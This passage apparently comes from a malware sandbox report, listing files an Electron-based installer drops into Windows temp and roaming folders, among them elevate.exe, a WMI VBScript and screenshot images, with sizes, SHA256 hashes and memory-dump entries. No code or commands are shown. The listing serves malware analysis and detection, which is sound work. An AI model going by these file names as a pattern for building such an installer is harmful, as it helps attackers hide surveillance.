                              • Path C:\Users\Admin\AppData\Local\Temp\nsjF46E.tmp\7z-out\locales\zh-CN.pak
                              • Size 447KB
                              • SHA256 374aed2859320a7287b64a8d1b150f7de05a931be3603a541b68ddd64ea361b1
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              zh-TW.pak
                              • Path C:\Users\Admin\AppData\Local\Temp\nsjF46E.tmp\7z-out\locales\zh-TW.pak
                              • Size 442KB
                              • SHA256 d2c4aec734bc94fbe7d60666343b4e419be5e2cd1ff445a8bbf14fb4b8d3d715
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              resources.pak
                              • Path C:\Users\Admin\AppData\Local\Temp\nsjF46E.tmp\7z-out\resources.pak
                              • Size 5.0MB
                              • SHA256 1efdd507bb6f4fb07329ec7ec29ee00c952d6390bd5cfe3b41fb307c5caeab6c
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              main.js
                              • Path C:\Users\Admin\AppData\Local\Temp\nsjF46E.tmp\7z-out\resources\app\main.js
                              • Size 30KB
                              • SHA256 9d729e3eafa813edb11c5c7dc1e1175469b2b230e5c2923e4f9e1f3eba81ec28
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              package.json
                              • Path C:\Users\Admin\AppData\Local\Temp\nsjF46E.tmp\7z-out\resources\app\package.json
                              • Size 238B
                              • SHA256 ae327906cebd070810bab7104c8e5cda98fa0551046c82e0609bc1fe87a663dd
                              • MD5 SHA1 SHA512 TLSH
                              Submit Download

                              resource.dat
                              • Path C:\Users\Admin\AppData\Local\Temp\nsjF46E.tmp\7z-out\resources\app\resource.dat
                              • Size 548KB
                              • SHA256 8ab482c09cc0763539e2132253687d0521e4210fcacae1aca90562f78168f6c2
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              elevate.exe
                              • Path C:\Users\Admin\AppData\Local\Temp\nsjF46E.tmp\7z-out\resources\elevate.exe
                              • Size 105KB
                              • SHA256 9b1fbf0c11c520ae714af8aa9af12cfd48503eedecd7398d8992ee94d1b4dc37
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              snapshot_blob.bin
                              • Path C:\Users\Admin\AppData\Local\Temp\nsjF46E.tmp\7z-out\snapshot_blob.bin
                              • Size 299KB
                              • SHA256 c1da41052abe31791ae90a9dbe54442a641e1ecbb018ef35c44e7aed05b8f72e
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              v8_context_snapshot.bin
                              • Path C:\Users\Admin\AppData\Local\Temp\nsjF46E.tmp\7z-out\v8_context_snapshot.bin
                              • Size 663KB
                              • SHA256 83a8345ea197020e07fe2cf53e74f31d0cc632ca1537f5c9c1db2fb2665ab04f
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              vk_swiftshader.dll
                              • Path C:\Users\Admin\AppData\Local\Temp\nsjF46E.tmp\7z-out\vk_swiftshader.dll
                              • Size 5.1MB
                              • SHA256 46afb1ed7ab1b1a679e00784b2e78cc2358cec615553699624ff77882f55787b
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              vk_swiftshader_icd.json
                              • Path C:\Users\Admin\AppData\Local\Temp\nsjF46E.tmp\7z-out\vk_swiftshader_icd.json
                              • Size 106B
                              • SHA256 32d83ff113fef532a9f97e0d2831f8656628ab1c99e9060f0332b1532839afd9
                              • MD5 SHA1 SHA512 TLSH
                              Submit Download

                              vulkan-1.dll
                              • Path C:\Users\Admin\AppData\Local\Temp\nsjF46E.tmp\7z-out\vulkan-1.dll
                              • Size 932KB
                              • SHA256 fa6b4e20eb448746e2eff9a7fde7a62585e371f3497a6a928eade0a8ce8c1a9f
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              StdUtils.dll
                              • Path C:\Users\Admin\AppData\Local\Temp\nsjF46E.tmp\StdUtils.dll
                              • Size 100KB
                              • SHA256 b72e9013a6204e9f01076dc38dabbf30870d44dfc66962adbf73619d4331601e
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              System.dll
                              • Path C:\Users\Admin\AppData\Local\Temp\nsjF46E.tmp\System.dll
                              • Size 12KB
                              • SHA256 3eb38ae99653a7dbc724132ee240f6e5c4af4bfe7c01d31d23faf373f9f2eaca
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              nsis7z.dll
                              • Path C:\Users\Admin\AppData\Local\Temp\nsjF46E.tmp\nsis7z.dll
                              • Size 424KB
                              • SHA256 b393f05e8ff919ef071181050e1873c9a776e1a0ae8329aefff7007d0cadf592
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              scr_1783283291106.png
                              • Path C:\Users\Admin\AppData\Local\Temp\scr_1783283291106.png
                              • Size 556KB
                              • SHA256 174b26018e5846448ec0402e0e8147604022d8fb5b79312a6ba8679152524426
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              scr_1783283317706.png
                              • Path C:\Users\Admin\AppData\Local\Temp\scr_1783283317706.png
                              • Size 556KB
                              • SHA256 5d4e97a4a31fadcb0fd71a6efeb9e582f5d07fc9833a127ebebf1ee44c6aecdd
                              • MD5 SHA1 SHA512 SSDEEP TLSH
                              Submit Download

                              wmi_6a20d8d9.vbs
                              • Path C:\Users\Admin\AppData\Local\Temp\wmi_6a20d8d9.vbs
                              • Size 1KB
                              • SHA256 086f45e5ddd5732b822aed6d58b554952c6c452cf86ff6dbd14715132f317b94
                              • MD5 SHA1 SHA512 TLSH
                              Submit Download

                              default.exc
                              • Path C:\Users\Admin\AppData\Roaming\Microsoft\Spelling\en-US\default.exc
                              • Size 2B
                              • SHA256 b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209
                              • MD5 SHA1 SHA512
                              Submit Download

                              Network Persistent State
                              • Path C:\Users\Admin\AppData\Roaming\installer\Network\Network Persistent State
                              • Size 300B
                              • SHA256 cf3129afaba9c4ec5ee5bbc1568dec48ca45c5daaf7ee675886cfcea17476fdd
                              • MD5 SHA1 SHA512 TLSH
                              Submit Download

                              Network Persistent State~RFe5a49db.TMP
                              • Path C:\Users\Admin\AppData\Roaming\installer\Network\Network Persistent State~RFe5a49db.TMP
                              • Size 59B
                              • SHA256 226eec4486509917aa336afebd6ff65777b75b65f1fb06891d2a857a9421a974
                              • MD5 SHA1 SHA512 TLSH
                              Submit Download

                              memory/920-450-0x000001EDC24B0000-0x000001EDC24D2000-memory.dmp
                              Download

                              memory/3264-484-0x0000023A7A6D0000-0x0000023A7A782000-memory.dmp
                              Download

                              memory/3324-457-0x0000026246730000-0x000002624673A000-memory.dmp
                              Download

                              memory/3324-456-0x0000026246550000-0x0000026246602000-memory.dmp
                              Download

                              memory/3324-455-0x0000026246530000-0x000002624654E000-memory.dmp
                              Download

                              memory/4468-554-0x0000018514200000-0x0000018514220000-memory.dmp
                              Download

                              memory/4468-519-0x0000018513E60000-0x0000018513F60000-memory.dmp
                              Download

                              memory/4468-508-0x00000185001E0000-0x00000185002E0000-memory.dmp
                              Download

                              memory/4468-535-0x0000018503C80000-0x0000018503CA0000-memory.dmp
                              Download

                              memory/4468-516-0x0000018503A20000-0x0000018503A40000-memory.dmp
                              Download

                              memory/4468-510-0x00000185001E0000-0x00000185002E0000-memory.dmp
                              Download

                              memory/4468-509-0x00000185001E0000-0x00000185002E0000-memory.dmp
                              Download